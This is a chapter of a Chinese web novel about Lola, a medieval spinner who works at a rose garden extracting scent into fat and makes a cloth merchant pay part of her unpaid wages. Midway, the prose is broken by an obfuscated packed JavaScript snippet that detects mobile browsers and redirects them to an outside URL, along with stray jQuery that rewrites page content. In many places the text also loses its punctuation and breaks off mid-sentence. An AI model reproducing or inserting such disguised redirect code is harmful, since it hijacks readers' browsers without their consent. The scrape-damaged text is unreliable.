第 77 章 穿越中世纪077
作品:《中世纪女领主》 就在杜波伊斯夫人犹豫不决时,另一边,工人们工作的旧谷仓里,已经开始了一天的工作。
因为今天来了萝拉她们村子的一批‘新人’,在玫瑰园管家的安排下,所有人被刻意打散,夹杂在旧人中间。这样,被简单教过要做什么事的新工人,立刻就能上手了——就算一开始不知道怎么做,看两边的人怎么做就跟着做,慢慢也就会了,无非就是最初做得慢一些而已。
本质上这就不是一个多需要技能技巧的工作,细心就足够了。
萝拉和女邻居就被分开了,夹在一个和她差不多年纪的妇女,和一个才12岁的孩子间。
一开始,是做今天的新抹油板。一个个干净的抹油板发下来,每个人面前都有。端着化开、混合好的油脂的工人,一手拿一个特制的大汤匙,在每个人面前的抹油板上舀一勺的分量是刚刚好的。
萝拉就见两旁的‘熟练工’,拿着木质刮刀,迅速在脂肪凝固前推平刮匀。她虽然是第一次做这个工,但手又稳又快,照样一次就做好了。注意到她的动作,和她年纪差不多的邻座妇女还冲她笑着点了点头。
他们并不是计件算工资,只是座次近的工人是编到了一个工作小组。而同一个工作小组完不成应做的工作,就得所有人推迟下工时间。所以小组内如果有人拖后腿,是会让所有人不高兴的这次加入新工人,出于公平每个工作小组都有新来的。
大家有新人拖后腿的心理预期,但如果新人不那么糟糕,那当然是最好的了。
因为摊得足够薄,刮平的脂肪迅速凝结成白白的一层,像是蜡一样。这时候,桌子中央已经摆上了一篮又一篮新摘的玫瑰花瓣。这些玫瑰花瓣之前盛放在铺着干净亚麻布的扁筐里,沾上的露水被亚麻布吸收了大部分。再稍微晾一晾,现在拿来做脂吸法的,都基本干了。
一日清晨,天不亮的时候摘下的玫瑰花,这是香气最浓郁的。于是就在天蒙蒙亮时,萝拉这些工人,将它们均匀地铺在了雪白的脂肪上——不是花瓣铺得越多越好,那样很容易浪费花瓣。基本上以肉眼看不到白色的脂肪,但又不会有任何花瓣,一点儿没贴到脂肪为准。
萝拉只是稍微看看就知道要点了,这一步也做的一点儿不错。巡查的管事从每个人背后经过,确保花瓣铺得
不多不少又很均匀。中间重点看夹在熟手中间的新人见萝拉和熟手做的一样快一样好也不由自主地点点头。
这时拉着一个四轮推车的工人也从桌子中间穿过将铺好花瓣的抹油板收上来。一张压着一张恰好封盖密封。这些抹油板要放到旁边的房间存放明天再拿出来换花的。
做一张新的抹油板这已经可以说是最简单的工作了。等到今天的新抹油板量足够了接下来就要为前几天做的抹油板换花这个就麻烦很多了。
前期花肯定是越开越多所以抹油板也要每天增加。等到鼎盛期
依旧是工人推着四轮小车过来每个工作小组都先分到了一车需要换花的旧抹油板做完再说。
他们做玫瑰园这份工开工较早但一天只用做到中午左右(期间包一餐早中饭大约在上午9点半到10点钟吃)。这么半天多下来一个工作小组至少要给30车抹油板换花!
昨天的鲜花今天已经蔫哒哒的了。但好歹花瓣本身的韧性还在形状完整用镊子去捡一板旧花瓣不算慢的就被捡干净了——说起来脂吸法制取精油玫瑰算是比较好做的了。因为花瓣够大主要也是花瓣香所以不用在意细碎的花蕊什么的直接用花瓣就好。
这样铺、捡都比较好上手。
如果是比较难搞的花譬如茉莉得一朵一朵将花头方向压在脂肪上!捡的时候还得注意将细碎的花瓣、花蕊得挑干净想想都要挑得头晕眼花。
这一次萝拉依旧做得很好学其他人的动作捡干净旧的花又给铺上新花瓣是又快又好。不过显然不是所有新人都像她那样能飞快上手的所以负责巡查的管事时不时就会用她手中的戒尺重重敲某个人的背。这是惩罚也是提醒做的不好。
这样的体罚在后世当然是可以去告的但在此时非常常见正常的雇主对雇工都会做到这个程度。
“你这个笨蛋!别用你的手去碰!当我瞧不见吗?你只是想偷吃脂肪!”忽然有人听到了巡查管事大声呵斥道。
一般做的不好巡查管事只会用戒尺敲背。至于高声呵斥让
所有人都听到这要是每次都这样一天下来嗓子也不能要了。所以一旦呵斥就是很大的麻烦——这种巡查管事就会记录下来罚掉今天的早午餐。
罚工资是不会的因为那样工人就不会干今天的活儿了而且其他工人看见了也很打击积极性。再说了巡查管事可以随便罚掉一个人的工资这样的权力太大很容易引发其他的管理问题呢。
萝拉也顺着看了那边一眼之前来的时候管家也说过规矩。偷吃抹油板上的脂肪属于绝不允许的事之一犯一次被巡查管事发现还只是罚掉一餐饭。累计三次这个人就会被赶出去不会再雇佣了。
“别看那儿了
然后又说道:“更重要的是他用舔过的手指去碰那些脂肪那张抹油板说不定就完蛋了。就像家里炼制的猪油也是不能乱碰的乱动就很难长时间保存.你是看到了的每张抹油板都得经过一次次的换花成本是很高的。”
虽然开始工作前每个人都在监督下洗了手之后又主要用镊子工作。但就舔那么一口的手指碰过说不定就会导致脂肪发生变化
萝拉点点头又继续工作。直到9点半桌上的抹油板都被放到了一边送上来的也不是新的抹油板或装满了花瓣的花篮而是食物——包的这一餐早午餐要比工人平常在家吃的早一些。这主要是雇佣他们的雇主很清楚他们都是没吃东西就来了的。
饿着肚子做到12点以后还要保证眼不花、手不抖这可有些困难。既然本来就是要包一餐的干嘛不干脆早点儿吃也能之后干活儿的时候精力满满呢?
“这这都是给我们的吗?”萝拉看着食物咽了口口水。这顿早午餐在萝拉看来可以说是‘丰盛’。主食是面包配菜则是猪肉炖卷心菜另外每个人还有一杯葡萄酒可喝。
必须要说的是在很难种植葡萄并酿酒的地区葡萄酒的确是有钱人的专享毕竟此时运输成本是明摆着的。但在普罗万这种盛产葡萄酒的地区那又是另一回事了。本地产的当季葡萄酒很便宜不当
季时会贵一些,但也不会贵太多(主要是此时的酿酒技术,葡萄酒能存放到第二年夏天的,是比较少的)。
当季的葡萄酒便宜,看似是因为新鲜出产的葡萄酒多,供大于求,但主要原因其实不是这个。
至少在本地,主要是因为那段时间,普通人家可以轻易弄来葡萄园酿酒的下脚料,回家自酿葡萄酒。只是这样用下脚料酿制的葡萄酒会非常、非常淡,加上私人酿酒手艺的下限极低,葡萄酒可能就能保存几天而已,很容易喝出问题。
“是的,又是卷心菜.我是说,几乎每天都是一样别的食物炖卷心菜。”邻座妇女叹了一口气:“不过这也不奇怪,卷心菜永远都有,而且永远吃不完,是最便宜的蔬菜,对不对?”
看出萝拉似乎是饿极了,邻座妇女又朝她笑了笑:“吃吧,吃吧!面包不够,还可以去前面再多拿一块。你看起来很消瘦真不容易。”
萝拉确实很长时间吃的很差了,过去很长时间布商一直在拖欠她的工资。如果不是她居住的农舍有一小块菜地,可以自己种菜,养了几只鸭子(不是为了吃肉,而是攒鸭蛋换别人家的谷物),她早就饿死了!但就算没饿死,总是忍饥挨饿是免不了的。
吃饱喝足,10点钟之后又继续工作,差不多12点半时,萝拉他们这一组的任务就完成了。在几个工作小组中不算早,也不算晚吧。然后就是同一个小组的人一起结算报酬,萝拉从管家那里拿到了今天所得,总共是1个半芬尼。
这当然不多,不过正常的乡村雇工,还是非农忙时节,这个价钱很正常。何况人家还包了一餐,吃的不错的情况下,是真没什么可挑剔的了——上工早了一些,这是缺点。但考虑到正午过不久就结束了,也算扯平了就是。
“这个报酬不坏,只可惜不是每天都有的,而且不能在家做.这又是不能和纺线这样的活计相比的了。”和女邻居一起结伴回家时,萝拉又下意识拿这份工作,和自己过去一直在做的纺线活儿比较。
是的,纺线活儿工作时间长,报酬低,但这份工作,和后世一些家庭妇女拿回家去做的计件手工活是一样的——如果那些家庭妇女选择出门工作,随便找一份全职工作,也比之前挣得多。真要计算工作时间,说不定还是后者少一些。
之所以那
些手工活还有不少人在做是因为她们可以做的同时兼顾家里而且只要做就可以一直做。
萝拉没有结婚父母已经去世活在世上的亲人最近的只有一个堂兄。她倒是没有家要顾但家里还养着鸭作为非常重要的财产心里也会惦记。更重要的是来玫瑰园做工就和很多农忙时节的雇工一样都是临时性的、季节性的。
这种工作算日工资有什么意义?这就像后世的零工真要算的话也比很多拿月工资的人日均高啊。
“不管怎么说先把能拿到手上的钱拿到!”女邻居只是出来做工补贴家用就没有萝拉想的那么多了。只要钱到手她就高高兴兴了。
萝拉觉得也是经历了布商长期拖欠工资这种干脆利落日结工资的作风实在让她原本沉重的心都轻快了起来。之后她又连续三天去了‘杜波伊斯玫瑰园’4天就攒了6芬尼——她一个钱没花!
白天有雇主提供一餐晚餐她就用菜地里的蔬菜混合一些森林里采集的坚果磨成的粉煮成糊糊吃.这都是不用花钱的。
这一天她回到家下午布商上门收毛线了。也不只是萝拉村子里很多帮忙纺线的女人所有人纺好的毛线都要收起来了。萝拉有了6芬尼心里也有了一些底气不再去想如果反抗布商和对方起冲突她的那147芬尼会不会更没希望收回来。
便按照女邻居给支的招儿强调道:“先生请您看在主的份儿上有一些羞耻心吧!因为您一直拖欠我一个穷困潦倒的纺线女的报酬我几乎没东西可吃.作为一个富有的人这真可耻!如果您的钱财就是这样积攒起来的我倒是不意外。”
“我得告诉您如果您不付拖欠的薪水
“要我说您再这样继续下去这个村子附近就不会再有几个纺线女肯为您工作了!”
这个布商绝对是个脸皮厚的家伙听萝拉站在农舍门口这样数落她住得近的人家都能听见。他却一点儿不脸红。反而笑着说:“哦我的好小姐您说的太严重了请您相信我
,我并不是故意拖欠,实在是生意周转不灵。”
“别再拿那些词糊弄我们这些老实的乡下人了。”萝拉打断了对方,这样的说辞她也不是第一次听说了。第一次、第二次、第三次或许还会相信,这么多次也该知道真相是怎样了。真相就是对方有钱,但有钱宁愿捏在手上,也不愿意结清一个纺线女的报酬。
大约是意识到萝拉已经是完全不能糊弄住的样子了,布商犹豫了一下,这才勉强答应付给萝拉36芬尼。这其实也是经过精心算计的——上次给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151558|130625||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
萝拉的羊毛就是20磅的样子,如果全纺成了毛线,按照每磅2芬尼的市价,就是40芬尼。
也就是说,就算萝拉把毛线全给卖了,还卖上了市价(这对单打独斗的纺线女来说,显然是不可能的,如果能做到,她们大可以自己买羊毛纺线,然后拿去卖),才能得到40芬尼。
考虑到她不可能真卖到40芬尼,而且想想他还欠她的工资,萝拉如果不想和他撕破脸,完全没希望拿到工资.应该会接受他当下付给36芬尼。
萝拉确实接受了,意识到女邻居的建议的确有用(也是她不再抱有希望拿回全部的拖欠工资,硬气起来了,才有用的),她眼睛都不眨收下了钱。现在是能拿多少是多少,到手的才是真的。
布商还未意识到,萝拉已经和上次见时完全不一样了。付了36芬尼,收走了纺好的毛线,又留下了20磅的毛线,约定好半个月后再来收取,就离开了。
这之后,萝拉基本不再理会那些毛线,每天去玫瑰园做工。回到家后打理菜园,照顾鸭子,只偶尔有空的时候会打发时间一样,随手纺一些毛线。
这样等到半月后,布商来取毛线时,简直有些认不出萝拉了!
半个月的时间,每天算是能吃饱了,加上不用一直做活儿没个停的时候,她的气色看起来好了很多。至少和半个月前,脸色苍白、脸颊消瘦的自己相比,真是判若两人!
“您看起来还不错?”布商随口说道,然后很快进入正题:“啊,请问毛线——”
“托您的福,因为您付了钱,能吃到一些东西了,这才好一些的。”萝拉又打断了布商,又指了指自己脚边的篮子,篮子里明显是一些纺好的毛线:“这都是新纺好的,嗳!先别说这个,钱呢?如果没有钱
,我是不会将毛线交给您的。
这其实是一个小小的误导,误导布商认为她纺完了所有的羊毛。而实际上,篮子里的就是她这半个月纺的全部毛线了,总共才2磅半!
“女士!这是不合理的!布商心知这是萝拉也不好糊弄了,但又不能这样轻易就给对方钱,立刻大声道:“天呐!照您的要求,上次我已经付了您一部分的报酬了,就因为您的‘勒索’。您难道还想再来一次?
“上次我不过是看您可怜,没有与您较真。真要说的话,我可以告您!因为您拒不交出我给您的‘羊毛’.不管毛线怎么样,羊毛是我委托给您加工,那是属于我的!
“那么我立刻就可以告您拖欠报酬!萝拉反唇相讥,过去她很担心这件事,但随着一些钱被捏在了手中,埋在了家里的炉子下,她一下有了勇气。心想,就算上法庭也没什么可怕的,她可以出庭,还可以和其他被欠账的纺线女一起联合告他!
萝拉和布商互相瞪视着对方,仿佛是在比拼谁更有决心。最终是布商败下阵来——过去,萝拉担心上法庭就没法做事,然后就没饭吃。现在大概是布商更担心上法庭浪费时间了,真要说的话,他可比萝拉在乎自己的‘时间’。
“好吧.好吧算我倒霉!碰上了您这样刁钻的泼妇!布商不停地咒骂着。
然而萝拉不为所动,就盯着他数钱的手,看他数出一枚又一枚的芬尼硬币。数了30枚后,就不肯接着数了。
萝拉只能催促:“这不够,先生这不够,您总共欠我131芬尼工资。原本是147芬尼的,上次交付毛线后就是167芬尼了,您当时一次付了我36芬尼这些都是写明了的。
“我的天呐!就没人能治治你这个没人要的老姑娘吗?我总算知道你为什么没法嫁人了。虽然有你长得难看且穷的原因,但许多和你一样难看,比你更穷的姑娘也能结婚呢!只因为她们至少懂得顺从
萝拉的左脸有一块面积不算小的胎记,这让她本来就不算好看的面容,更不能为世人所接受。再加上她也不是那种能有不错嫁妆的姑娘,这才成了老姑娘,二十几岁了还没结婚——当然,她非要结婚,也不是不能够。可那样的话,结婚对象会非常、非
常糟糕。
萝拉至少看清楚了一点,结婚是为了找一个人互相扶持,而不是专为了受苦受难所以她选择了一个人生活。
她比较幸运的一点是,她的父母活下来的孩子只有3个,全是女孩儿。两个姐姐嫁人了,她就成了‘守灶女’,一直在家照顾父母。由此,父母留下来的农舍和菜地都照惯例法归她继承。只不过过去佃租了乡绅的田地,乡绅见她只是一个女人,便都收回去给别人租种了。
总之,好歹没让她作为一个罕见的单身女人,无处可去。
布商这样的嘲讽,要说萝拉完全不难堪,那是不可能的。她只能用更冷硬的表情防御,仿佛这样就真的不能伤到她了。
36芬尼,萝拉知道这就是对方的极限了,没有再逼迫。收起来后,转身去拿收在羊毛袋里的羊毛。一边将羊毛拿出口袋,一边慢条斯理地算账:“您原本欠我131芬尼,这次我总共纺了2磅半地羊毛,就算2磅吧,谁让我们合作了那么久?便奉送给您——所以欠账达到了133芬尼。”
“这次您付了36芬尼,所以欠账减到了97芬尼可喜可贺,这可是一年半以来,您对我的欠账,第一次降到100芬尼以下。”
在布商看到羊毛袋里全是没动过的羊毛,露出不可思议的表情时,萝拉露出了愉快的微笑——这样爽快地打击对方,这是她过去一直想做,但不敢做、没法做的。这一刻,她忽然觉得过去的忍耐毫无意义。
哪怕会因此惹上麻烦,又算什么呢?当初的日子已经够苦了,还怕更苦?
作者有话要说